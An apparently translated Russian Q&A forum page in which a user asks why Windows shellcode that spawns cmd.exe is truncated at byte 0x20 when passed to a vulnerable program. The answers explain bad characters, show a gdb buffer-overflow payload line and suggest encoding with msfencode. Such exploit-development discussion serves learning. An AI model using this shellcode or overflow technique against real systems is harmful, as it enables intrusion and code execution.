шеллкод усекается \ x20 - PullRequest
0 голосов
/ 18 марта 2010

Почему мой шелл-код усекается после \x20 кода операции, когда он копируется строкой в ​​стек второй уязвимой программы?

--cmd.exe--
 char shell[]=

"\xc7\x44\x24\x0c\x65\x78\x65\x20" ← only this line is put in stack, though hv a enough space 
"\xc7\x44\x24\x08\x63\x6d\x64\x2e"
"\x31\xc0"
"\x89\x44\x24\x04"
"\x8d\x44\x24\x08"
"\x89\x04\x24"
"\x8d\x05\xad\x23\x86\x7c"
"\xff\xd0";
--end shell--

Ответы [ 3 ]

1 голос
/ 18 марта 2010

Вы передаете этот шелл-код в качестве аргумента командной строки? В этом случае взгляните на код ASCII для 0x20;)

0 голосов
/ 02 февраля 2013

Поставьте двойные кавычки вокруг всей команды. Например, запустите:

"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"
0 голосов
/ 10 марта 2011

Моя теория заключается в том, что такие вещи, как цитата, пробел, ноль и т. Д. Интерпретируются оболочкой Windows, а не отправляются через нее. Вы могли бы избежать этого как-то, но я думаю, что проще просто кодировать шелл-код. Так что попробуйте утилиту msfencode от metasploit, чтобы вообще избежать этих кодов операций. Я знаю, что null (/ x00), пробел (/ x20) и кавычка (/ x22) не могут быть переданы напрямую, но я предполагаю, что есть другие коды операций, которые также не могут быть переданы.

Это мое решение, но кто-нибудь знает какие-нибудь другие, которые лучше?

...